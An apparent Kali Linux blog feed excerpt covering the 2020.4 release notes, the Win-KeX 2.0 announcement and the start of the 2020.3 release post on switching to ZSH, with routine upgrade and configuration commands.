&lt;p>&lt;strong>Kali is Open-source. What is stopping me from stealing/ripping/cloning from you?&lt;/strong> The code will be distributed with a banner saying something along the lines of, &amp;ldquo;for Kali users only&amp;rdquo;. Removing/altering the code will break the software license thus breaking copyright law. Do not be that guy.&lt;/p>
&lt;p>&lt;strong>Is that it?&lt;/strong> Yes! &lt;a href="https://www.kali.org/docs/policy/kali-linux-open-source-policy/">Kali Linux is Open-source&lt;/a>. We understand and respect software licenses, and by doing so we hope to keep everything Open-source as much as possible. Putting checks &amp;amp; protection in place, you may be happy using someone else&amp;rsquo;s cracked/pirated software (warez) - but do you know &lt;a href="https://blog.cobaltstrike.com/2013/09/05/how-to-crack-cobalt-strike-and-backdoor-it/">what has been altered under the hood&lt;/a>?&lt;/p>
&lt;p>But Kali Linux being Open-source, has to respect other people license agreements, as do any other respectable organizations. This also includes when tools which have their license agreements changed in &lt;a href="https://github.com/volatilityfoundation/volatility3/issues/208">software updates&lt;/a>, as a result, we have removed them from Kali.&lt;/p>
&lt;p>We have more to announce about direction step in a 2021.x release &lt;em>(as well as looking for other authors to sponsor with)&lt;/em>. Stay tuned for more information!&lt;/p>
&lt;h2 id="message-at-login">Message At Login&lt;/h2>
&lt;p>We have noticed there being a large uprise of the amount of people saying &amp;ldquo;Kali Linux is missing &amp;lsquo;XYZ&amp;rsquo;&amp;rdquo; or &amp;ldquo;XYZ feature is broken&amp;rdquo;, when this is not always the case. We have done our best to write up various issues on &lt;a href="https://www.kali.org/docs/">our docs pages&lt;/a>, however it appears they are not always being read. We also know that not everyone has a unix beard as long as &lt;a href="https://www.kali.org/about-us/">@elwood-offsec&lt;/a>, but hope you still are an &lt;a href="https://www.kali.org/docs/introduction/should-i-use-kali-linux/">experienced Linux user&lt;/a>. There is always a reason why something is the way it is, but it may require more than the usual basic troubleshooting.&lt;/p>
&lt;p>With all of that said, we are wanting to improve our communications going forwards. Most of the actions in Kali are done by the command line. So now, upon logging into a Kali terminal or console, you may be presented with a mixture of the following &lt;em>(depending on the configuration of your system, as it is dynamic)&lt;/em>:&lt;/p>
&lt;pre>&lt;code class="language-console">$ ssh kali@172.16.13.37
Last login: Thu Nov 12 15:12:29 2020 from 172.16.13.1
┏━(Message from Kali developers)
┃
┃ This is a minimal installation of Kali Linux, you likely
┃ want to install supplementary tools. Learn how:
┃ ⇒ https://www.kali.org/docs/troubleshooting/common-minimum-setup/
┃
┃ This is a cloud installation of Kali Linux. Learn more about
┃ the specificities of the various cloud images:
┃ ⇒ https://www.kali.org/docs/troubleshooting/common-cloud-setup/
┃
┃ We have kept /usr/bin/python pointing to Python 2 for backwards
┃ compatibility. Learn how to change this and avoid this message:
┃ ⇒ https://www.kali.org/docs/general-use/python3-transition/
┃
┗━(Run &amp;quot;touch ~/.hushlogin&amp;quot;
┌──(kali㉿kali)-[~]
└─$
&lt;/code>&lt;/pre>
&lt;p>We hope this helps various common problems to be quickly fixed, but at the same time, not feel intrusive. Each of the issues have a link to our documentation page in order to correct the issue. After its been addressed, the message should not be displayed again. For whatever reason (unable or do not want to), you can permanently hide any messages from us being displayed by doing: &lt;code>touch ~/.hushlogin&lt;/code> (per user) or &lt;code>touch /etc/kali-motd/disable-all&lt;/code> (for a global setting).&lt;/p>
&lt;p>We have a few other things in the works to help communicate items out planned for 2021.x. Stay tuned!&lt;/p>
&lt;h2 id="aws-ec2-cloud-image-refresh">AWS EC2 Cloud Image Refresh&lt;/h2>
&lt;p>Kali Linux has been on &lt;a href="https://www.kali.org/docs/cloud/aws/">AWS&lt;/a> since &lt;a href="https://www.kali.org/blog/kali-linux-1-0-6-release/">1.0.6&lt;/a>. Over the years, we have done various refreshes of our &lt;a href="https://gitlab.com/kalilinux/build-scripts">build-scripts&lt;/a> to produce the &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-cloud">cloud images&lt;/a>. Finally with Kali 2020.2, we have a fully automated system in place. However during the changeover, we were shipping the image without any GUI or any tools by default. This was to give the cleanest, smallest image as possible. In hindsight, we didn&amp;rsquo;t communicate this change over well, and a lot of you noticed &amp;ldquo;tools missing&amp;rdquo; (as &lt;code>kali-linux-default&lt;/code> was not included/). However, in 2020.4, we have created a new metapackage, &lt;code>kali-linux-headless&lt;/code>, and included it which only has the default set of command line tools.&lt;/p>
&lt;p>Upon doing the refresh, we have worked with AWS to get Kali Linux added to &amp;ldquo;&lt;a href="https://twitter.com/kalilinux/status/1321453286067707904">GovCloud&lt;/a>&amp;rdquo;. Which may be useful to a certain audience. With how the accounts were setup, we have had to start from fresh. &lt;strong>As a result, we have a &lt;a href="https://aws.amazon.com/marketplace/pp/B08LL91KKB">new marketplace entry&lt;/a>&lt;/strong>.&lt;/p>
&lt;p>What does this mean for people who are using the old entry? As Kali Linux is a rolling distribution, not a lot! You can still keep &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">updating Kali Linux&lt;/a> as usual. However, you will no longer be able to spin up the latest version using the latest instance. For that, you will need to switch to the new entry.&lt;/p>
&lt;p>Note: We have tried to say it as many different places as possible, but putting it here is not going to hurt. The default login for &lt;strong>AWS EC2 username is &amp;ldquo;kali&amp;rdquo;&lt;/strong> (not the standard &amp;ldquo;ec2-user&amp;rdquo;).&lt;/p>
&lt;h2 id="kali-docs--packaging-guides">Kali-Docs &amp;amp; Packaging Guides&lt;/h2>
&lt;p>In &lt;a href="https://www.kali.org/blog/kali-linux-2019-4-release/">2019.4&lt;/a>, we moved &lt;code>https://docs.kali.org/&lt;/code> from a WordPress solution to &lt;code>https://www.kali.org/docs/&lt;/code> using Hugo. In September, we finished &lt;em>(for now)&lt;/em> tweaking the theme, making it easier to use, super fast at loading and easier to &lt;strong>anyone&lt;/strong> to edit.&lt;/p>
&lt;p>We have started to go though all the pages and refreshing them, bringing them all up-to-date, and adding more in. We are doing it section by section, and so far have completed the first three (so we still have a way to go! After it is completed, it will be easier to keep them up-to-date, making it an on-going task. For the sections that are missing or lacking content, we have been generating &lt;a href="https://gitlab.com/kalilinux/documentation/kali-docs/-/boards/1429718">issues to help track&lt;/a>. If you want to help get &lt;a href="https://www.kali.org/docs/community/contribute/">involved with Kali Linux&lt;/a>, this is an easy place to start.&lt;/p>
&lt;p>We have also created various new pages, all about our packaging process:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/docs/development/setting-up-packaging-system/">Setting Up A System For Packaging&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/development/intro-to-packaging-example/">Introduction to Packaging (Instaloader)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/development/intermediate-packaging-example/">Intermediate Packaging (Photon)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/development/advanced-packaging-example/">Advanced Packaging (FinalRecon &amp;amp; Python-icmplib)&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>We have also the pages from our login messages:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/docs/troubleshooting/common-cloud-setup/">Common Cloud Based Setup Information&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/general-use/python3-transition/">Everything you need to know about the switch to Python 3&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/troubleshooting/common-minimum-setup/">Minimum Install Setup Information&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>And various other pages created:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/docs/cloud/aws/">AWS&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/install-virtualbox-guest-vm/">Kali inside VirtualBox (Guest VM)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/general-use/using-eol-python-versions/">Using EoL Python Versions on Kali&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/wsl/win-kex/">Win-KeX v2&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/wsl/win-kex-sl/">Win-KeX SL&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/wsl/win-kex-win/">Win-KeX Win&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="new-tools--updates">New Tools &amp;amp; Updates&lt;/h2>
&lt;p>As with every Kali release, there are new tools and updates. The &lt;a href="https://pkg.kali.org/pkg/linux">kernel&lt;/a> got an upgrade to 5.9, so you benefit with all the loveliness that that brings. We have switched to &amp;ldquo;&lt;a href="https://pkg.kali.org/pkg/proxychains-ng">proxychains4&lt;/a>&amp;rdquo; (aka &lt;a href="https://github.com/rofl0r/proxychains-ng">ProxyChains-NG&lt;/a>) as the default (everything from v3 should still work: same flags and configuration files &amp;amp; folder locations for legacy users, else the paths will reflect the version if starting from fresh). Also, &lt;a href="https://pkg.kali.org/pkg/meta-gnome3">GNOME&lt;/a> was updated to 3.38 &amp;amp; &lt;a href="https://pkg.kali.org/pkg/meta-kde">KDE&lt;/a> to 5.19.&lt;/p>
&lt;p>New tools in Kali Linux:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/apple-bleee">Apple bleee&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/certgraph">CertGraph&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/dnscat2">dnscat2&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/finalrecon">FinalRecon&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/godoh">goDoH&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/hostapd-mana">hostapd-mana&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/metasploit-framework">Metasploit Framework v6&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/whatmask">Whatmask&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>One last thing. We have tweaked how we handle our wallpaper packages:&lt;/p>
&lt;ul>
&lt;li>&lt;code>kali-wallpapers-all&lt;/code> ~ Give me all the wallpapers&lt;/li>
&lt;li>&lt;code>kali-wallpapers-2019.4&lt;/code> ~ Default for Kali Linux between 2019.4 and 2020.3&lt;/li>
&lt;li>&lt;code>kali-wallpapers-2020.4&lt;/code> ~ Default for Kali Linux between 2020.4 and onwards&lt;/li>
&lt;li>&lt;code>kali-wallpapers-legacy&lt;/code> ~ Nostalgic value&lt;/li>
&lt;/ul>
&lt;h2 id="kali-nethunter">Kali NetHunter&lt;/h2>
&lt;p>@yesimxev has added a new settings menu, allowing for easy back up and restore of configuration files. It also allows you to change the Kali NetHunter boot animation. How is this as a teaser?&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-4-release/images/boot-kali.gif' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-4-release/images/boot-kali.gif" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Call on all boot animation devs out there: We&amp;rsquo;d love to hear from you. If you have a cool boot animation you&amp;rsquo;d like to share, please submit a merge request to our &lt;a href="https://gitlab.com/kalilinux/nethunter/build-scripts/kali-nethunter-bootanimation">Kali NetHunter Boot Animation repository&lt;/a>.&lt;/p>
&lt;p>The new images also contain a &amp;ldquo;Magisk persistence&amp;rdquo; module, so we no longer have to flash Magisk again after we installed Kali NetHunter.&lt;/p>
&lt;h2 id="win-kex-25">Win-KeX 2.5&lt;/h2>
&lt;p>Win-KeX 2.5 includes a new &amp;ldquo;&lt;a href="https://www.kali.org/docs/virtualization/install-hyper-v-guest-enhanced-session-mode/">Enhanced Session Mode&lt;/a> (&amp;ndash;esm)&amp;rdquo;, which works like the &amp;ldquo;Window&amp;rdquo; mode but uses the Remote Deskop Protocol (RDP/) &amp;amp; client native to Windows. This mode will allow users of &amp;ldquo;Windows on ARM&amp;rdquo; devices to use Win-KeX and it adds sharpness to Win-KeX on HiDPI devices.&lt;/p>
&lt;p>We have also added a &lt;code>--ip&lt;/code> option to address a bug in WoA causing massive packet losses when using &amp;ldquo;localhost&amp;rdquo;. To start Win-KeX with sound on arm devices, just type:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ kex --esm --ip --sound
kali@kali:~$
&lt;/code>&lt;/pre>
&lt;p>The &lt;code>--ip&lt;/code> parameter has one little downside though: Win-KeX asks for the Kali Linux user password when launched for the first time and stores it in the Windows credentials store. Since the IP address changes after every reboot, you will be prompted again. This is a known WSL2 bug and we&amp;rsquo;ll expect it to be fixed soon so that we can drop the &lt;code>--ip&lt;/code> parameter and we&amp;rsquo;ll never have to enter the password again.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-4-release/images/surface-kex.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-4-release/images/surface-kex.png" alt="Win-KeX 2.5 on a Surface Pro X" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="kali-vagrant--vmware">Kali Vagrant &amp;amp; VMware&lt;/h2>
&lt;p>We have had a Vagrant image since &lt;a href="https://www.kali.org/blog/kali-linux-2018-3-release/">Kali Linux 2018.3&lt;/a>. However, it&amp;rsquo;s always been for VirtualBox. Until now. We are now also producing a VMware &lt;a href="https://app.vagrantup.com/kalilinux/boxes/rolling">Vagrant image&lt;/a>!&lt;/p>
&lt;p>Note, you will need to have a separate license for both VMware and &lt;a href="https://www.vagrantup.com/vmware">Vagrant&lt;/a> for this to work, as it is a paid-for plugin.
For more information, you can see &lt;a href="https://www.vagrantup.com/docs/providers/vmware/usage">here&lt;/a> and &lt;a href="https://www.vagrantup.com/docs/providers/basic_usage">here&lt;/a>.&lt;/p>
&lt;h2 id="kali-arm-devices">Kali ARM devices&lt;/h2>
&lt;p>We have been working away on our &lt;a href="https://www.offsec.com/kali-linux-arm-images/">ARM images&lt;/a> as usual, and this release is no exception. We have reduced the amount of pre-generated images (now 14) as there has not been the demand for these other devices. We have left their &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm">build scripts&lt;/a> (now up to 43 devices supported), in case you wish to generate the images yourself.&lt;/p>
&lt;h2 id="community-shoutouts">Community Shoutouts&lt;/h2>
&lt;p>Following on from last time, these are people from the public who have helped Kali and the team for the last release. We are super grateful and want to praise them for their work (giving credit where due!):&lt;/p>
&lt;ul>
&lt;li>@1y for generating a ARM build script for a new device, &lt;code>imx6-ull-evk&lt;/code>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/dracode">@dracode&lt;/a> for the awesome work on NetHunter, in particular the GPS fixes.&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/Mirivan">@mirivan&lt;/a> for all the amazing additions and fixes to NetHunter as well as helping out with the issue tracker.&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/TheMMcOfficial">@TheMMcOfficial&lt;/a> for his continued help with NetHunter and DuckHunter&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/Martinvlba">@Martinvlba&lt;/a> for his great contributions to NetHunter, especially hostapd&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/s133py">@s133py&lt;/a> for all the tireless work on NetHunter and helping with issues&lt;/li>
&lt;/ul>
&lt;p>Not a community member per se, but we do want to give an honorable mention to &lt;a href="https://gitlab.com/">GitLab&lt;/a>. Kali Linux is now a &lt;a href="https://about.gitlab.com/solutions/open-source/partners/">Open-Source Partner&lt;/a> &lt;em>(different to their &lt;a href="https://about.gitlab.com/solutions/open-source/">Open-Source Program&lt;/a>)&lt;/em>. We made the switch &lt;a href="https://www.kali.org/blog/kali-linux-roadmap-2019-2020/">middle of 2019&lt;/a>, and we could not have been happier. Thank you GitLab for supporting &lt;a href="https://gitlab.com/kalilinux">us&lt;/a>, and for everything you do for the Open-source communities as a whole!&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-4-release/images/gitlab.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-4-release/images/gitlab.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>And on the subject, &lt;a href="https://hub.docker.com/u/kalilinux">Kali Linux&lt;/a> is apart of &lt;a href="https://www.docker.com/blog/expanded-support-for-open-source-software-projects/">Docker&amp;rsquo;s Open-source Community&lt;/a>.&lt;/p>
&lt;hr>
&lt;h2 id="download-kali-linux-20204">Download Kali Linux 2020.4&lt;/h2>
&lt;p>&lt;strong>Fresh Images&lt;/strong>:
So what are you waiting for? Start &lt;a href="https://www.kali.org/get-kali/">downloading&lt;/a> already!&lt;/p>
&lt;p>Seasoned Kali Linux users are already aware of this, but for the ones who are not, we do also produce &lt;strong>&lt;a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly builds&lt;/a>&lt;/strong> that you can use as well. If you cannot wait for our next release and you want the latest packages when you download the image, you can just use the weekly image instead. This way you&amp;rsquo;ll have fewer updates to do. &lt;em>Just know that these are automated builds that we do not QA like we do our standard release images&lt;/em>. But we gladly take bug reports about those images because we want any issues to be fixed before our next release.&lt;/p>
&lt;p>&lt;strong>Existing Upgrades&lt;/strong>:
If you already have an existing Kali Linux installation, remember you can always do a quick &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">update&lt;/a>, followed by setting the default shell to ZSH. If you&amp;rsquo;re already using ZSH, and want our new configuration, you can do the following:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ echo &amp;quot;deb http://http.kali.org/kali kali-rolling main contrib non-free&amp;quot; | sudo tee /etc/apt/sources.list
kali@kali:~$
kali@kali:~$ sudo apt update &amp;amp;&amp;amp; sudo apt -y full-upgrade
kali@kali:~$
kali@kali:~$ cp -i /etc/skel/.bashrc ~/
kali@kali:~$
kali@kali:~$ cp -i /etc/skel/.zshrc ~/
kali@kali:~$
kali@kali:~$ chsh -s /bin/zsh
kali@kali:~$
kali@kali:~$ [ -f /var/run/reboot-required ] &amp;amp;&amp;amp; sudo reboot -f
kali@kali:~$
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2020.4. We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ grep VERSION /etc/os-release
VERSION=&amp;quot;2020.4&amp;quot;
VERSION_ID=&amp;quot;2020.4&amp;quot;
VERSION_CODENAME=&amp;quot;kali-rolling&amp;quot;
kali@kali:~$
kali@kali:~$ uname -v
#1 SMP Debian 5.9.1-1kali2 (2020-10-29)
kali@kali:~$
kali@kali:~$ uname -r
5.9.0-kali1-amd64
kali@kali:~$
&lt;/code>&lt;/pre>
&lt;p>NOTE: The output of &lt;code>uname -r&lt;/code> may be different depending on the system &lt;a href="https://pkg.kali.org/pkg/linux">architecture&lt;/a>.&lt;/p>
&lt;p>As always, should you come across any bugs in Kali, please submit a report on our &lt;a href="https://bugs.kali.org/main_page.php">bug tracker&lt;/a>. &lt;em>We&amp;rsquo;ll never be able to fix what we do not know is broken!&lt;/em> &lt;strong>And &lt;a href="https://twitter.com/kalilinux">Twitter&lt;/a> is not a Bug Tracker!&lt;/strong>&lt;/p></description></item><item><title>Win-KeX Version 2.0</title><link>https://www.kali.org/blog/win-kex-version-2-0/</link><guid isPermaLink="true">https://www.kali.org/blog/win-kex-version-2-0/</guid><pubDate>Fri, 18 Sep 2020 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/win-kex-version-2-0/images/win-kex-2-2.jpg" type="image/jpg"/><description>&lt;p>We have been humbled by the amazing response to our recent launch of &lt;a href="https://www.kali.org/blog/kali-linux-2020-3-release/">Win-KeX&lt;/a>. After its initial release, we asked ourselves if that is truly the limit of what we can achieve or could we pull off something incredible to mark the 25th anniversary of Hackers? What about &amp;ldquo;a second concurrent session as root&amp;rdquo;, &amp;ldquo;seamless desktop integration with Windows&amp;rdquo;, or - dare we dream - &amp;ldquo;sound&amp;rdquo;?&lt;/p>
&lt;p>With no further further ado, we are thrilled to present to you &lt;strong>Win-KeX v2.0&lt;/strong> with the following features:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Win-KeX SL (Seamless Edition)&lt;/strong> - bye bye borders&lt;/li>
&lt;li>&lt;strong>Sound support&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Multi-session support&lt;/strong>&lt;/li>
&lt;li>&lt;strong>KeX sessions can be run as root&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Able to launch &amp;ldquo;kex&amp;rdquo; from anywhere&lt;/strong> - no more cd-ing into the Kali filesystem required&lt;/li>
&lt;li>&lt;strong>Shared clipboard&lt;/strong> - cut and paste content between Kali and Windows apps&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/win-kex-version-2-0/images/win-kex-2.0.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/win-kex-version-2-0/images/win-kex-2.0.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;a href="https://www.kali.org/blog/win-kex-version-2-0/#the-installation-of-win-kex-is-as-easy-as-always">&lt;/a>The installation of Win-KeX is as easy as always:&lt;/p>
&lt;p>&lt;code>sudo apt upgrade &amp;amp;&amp;amp; sudo apt install -y kali-win-kex&lt;/code> (in a &lt;a href="https://www.kali.org/docs/wsl/win-kex/">Kali WSL installation&lt;/a>/)&lt;/p>
&lt;p>&lt;a href="https://www.kali.org/blog/win-kex-version-2-0/#win-kex-now-supports-two-dedicated-modes">&lt;/a>Win-KeX now supports two dedicated modes:&lt;/p>
&lt;ol>
&lt;li>Win-KeX Window mode is the classic Win-KeX look and feel with one dedicated window for the Kali Linux desktop. To launch Win-KeX in Window mode with sound support, type: &lt;code>kex --win -s&lt;/code>&lt;/li>
&lt;li>Win-KeX SL mode provides a seamless integration of Kali Linux into the Windows desktop with the Windows Start menu at the bottom and the Kali panel at the top of the screen. All applications are launched in their own windows sharing the same desktop as Windows applications. &lt;code>kex --sl --s&lt;/code>&lt;/li>
&lt;/ol>
&lt;h6 id="to-enable-sound">To enable sound:&lt;/h6>
&lt;p>Start Win-KeX with the &lt;code>--sound&lt;/code> or &lt;code>-s&lt;/code> command line parameter. We&amp;rsquo;ve been watching Blu-rays in Win-KeX SL without problems. Why you ask? Because - now we can ;-)&lt;/p>
&lt;h6 id="win-kex-now-supports-concurrent-sessions">Win-KeX now supports concurrent sessions&lt;/h6>
&lt;ul>
&lt;li>Win-KeX as unprivileged user&lt;/li>
&lt;li>Win-KeX as root user&lt;/li>
&lt;li>Win-KeX SL&lt;/li>
&lt;/ul>
&lt;h6 id="windows-firewall">Windows Firewall&lt;/h6>
&lt;p>Both SL mode and sound support require access through the Windows Defender firewall. When prompted, tick &amp;ldquo;Public networks&amp;rdquo;. You can later go to the firewall settings and restrict the scope to the WSL network (usually &lt;code>172.3x.xxx.0/20&lt;/code>)&lt;/p>
&lt;h6 id="manpage">Manpage&lt;/h6>
&lt;p>Forgotten that lifesaving parameter? Try:&lt;/p>
&lt;pre>&lt;code class="language-sh">kex --help
&lt;/code>&lt;/pre>
&lt;p>for a quick overview, or consult the manual page for a detailed manual:&lt;/p>
&lt;pre>&lt;code class="language-sh">man kex
&lt;/code>&lt;/pre>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/win-kex-version-2-0/images/win-kex2.0-manpage.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/win-kex-version-2-0/images/win-kex2.0-manpage.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h6 id="big-shout-out-to-the-authors-of-the-following-components-without-which-there-would-be-no-win-kex">Big shout-out to the authors of the following components without which there would be no Win-KeX:&lt;/h6>
&lt;ul>
&lt;li>Win-KeX Win is brought to you by &lt;a href="https://tigervnc.org/">TigerVNC&lt;/a>&lt;/li>
&lt;li>Win-KeX SL utilizes &lt;a href="https://sourceforge.net/projects/vcxsrv/">VcXsr Windows X Server&lt;/a>&lt;/li>
&lt;li>Sound support is achieved through the integration of &lt;a href="https://www.freedesktop.org/wiki/Software/PulseAudio/">PulseAudio&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h3 id="further-information">Further Information:&lt;/h3>
&lt;p>More information can be found on our &lt;a href="https://www.kali.org/docs/wsl/win-kex/">documentation site&lt;/a>.&lt;/p>
&lt;p>We hope you enjoy Win-KeX as much as we do and we&amp;rsquo;d love to see you around in the &lt;a href="https://forums.kali.org/">Kali Forums&lt;/a>&lt;/p></description></item><item><title>Kali Linux 2020.3 Release (ZSH, Win-KeX, HiDPI &amp; Bluetooth Arsenal)</title><link>https://www.kali.org/blog/kali-linux-2020-3-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2020-3-release/</guid><pubDate>Tue, 18 Aug 2020 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2020-3-release/images/kali-2020-3-release-v2.jpg" type="image/jpg"/><description>&lt;p>Its that &lt;a href="https://www.kali.org/releases/">time of year&lt;/a> again, time for another Kali Linux release! &lt;strong>Quarter #3 - Kali Linux 2020.3&lt;/strong>. This release has various impressive updates, all of which are ready for immediate &lt;a href="https://www.kali.org/get-kali/">download&lt;/a> or &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">updating&lt;/a>.&lt;/p>
&lt;p>A quick overview of what&amp;rsquo;s new since the last release in &lt;a href="https://www.kali.org/blog/kali-linux-2020-2-release/">May 2020&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2020-3-release/#new-shell-is-coming">New Shell&lt;/a>&lt;/strong> - &lt;em>Starting the process to switch from &amp;ldquo;Bash&amp;rdquo; to &amp;ldquo;&lt;strong>ZSH&lt;/strong>&amp;rdquo;&lt;/em>&lt;/li>
&lt;li>The release of &lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2020-3-release/#win-kex">Win-KeX&lt;/a>&lt;/strong> - &lt;em>Get ready &lt;strong>WSL2&lt;/strong>&lt;/em>&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2020-3-release/#automating-hidpi">Automating HiDPI&lt;/a>&lt;/strong> support - &lt;em>Easy switching mode&lt;/em>&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2020-3-release/#tool-icons">Tool Icons&lt;/a>&lt;/strong> - &lt;em>Every default tool now has its own unique icon&lt;/em>&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2020-3-release/#kali-nethunter-bluetooth-arsenal">Bluetooth Arsenal&lt;/a>&lt;/strong> - &lt;em>New set of tools for Kali NetHunter&lt;/em>&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2020-3-release/#kali-nethunter-for-nokia-phones">Nokia Support&lt;/a>&lt;/strong> - &lt;em>New devices for Kali NetHunter&lt;/em>&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2020-3-release/#setup-process">Setup Process&lt;/a>&lt;/strong> - &lt;em>No more &lt;strong>missing network repositories&lt;/strong> and &lt;strong>quicker installs&lt;/strong>&lt;/em>&lt;/li>
&lt;/ul>
&lt;h2 id="new-shell-is-coming">New Shell (Is Coming)&lt;/h2>
&lt;p>Most people who use Kali Linux, &lt;em>(&lt;a href="https://www.kali.org/docs/introduction/should-i-use-kali-linux/">we hope&lt;/a>)&lt;/em>, are very experienced Linux users. As a result, they feel very comfortable around the command line. We understand that &amp;ldquo;shells&amp;rdquo; are a very personal and precious thing to everyone (local or remote!), as that is how most people interact with Kali Linux. To the point where lots of experienced users only use a &amp;ldquo;GUI&amp;rdquo; to spin up multiple terminals. By default, Kali Linux has always used &amp;ldquo;bash&amp;rdquo; &lt;em>(aka &amp;ldquo;Bourne-Again SHell&amp;rdquo;)&lt;/em> as the default shell, when you open up a terminal or console. Any seasoned Kali user would know the prompt &lt;code>kali@kali:~$&lt;/code> &lt;em>(or &lt;code>root@kali:~#&lt;/code> for the older users!/)&lt;/em> very well!&lt;/p>
&lt;p>Today, we are announcing the plan to switch over to &lt;strong>ZSH shell&lt;/strong>. This is currently scheduled to be the &lt;strong>default shell in 2020.4&lt;/strong> &lt;em>(for this &lt;strong>2020.3 release, bash will still be the default&lt;/strong>)&lt;/em>.&lt;/p>
&lt;p>If you have a &lt;strong>fresh default install&lt;/strong> of Kali Linux 2020.3, you should have ZSH already installed &lt;em>(if not, do &lt;code>sudo apt install -y zsh zsh-syntax-highlighting zsh-autosuggestions&lt;/code>)&lt;/em>, ready for a try.
However if you installed an earlier version of Kali Linux and have &lt;strong>upgraded to 2020.3&lt;/strong>, your user will be lacking the default ZSH configuration that we cooked with lots of love. So for upgrade users only, make sure to copy the configuration file:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ cp /etc/skel/.zshrc ~/
kali@kali:~$
&lt;/code>&lt;/pre>
&lt;p>Then all you need to do is switch to ZSH:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ zsh
┌──(kali㉿kali)-[~]
└─$
&lt;/code>&lt;/pre>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-3-release/images/release-2020.3-zsh.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-3-release/images/release-2020.3-zsh.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
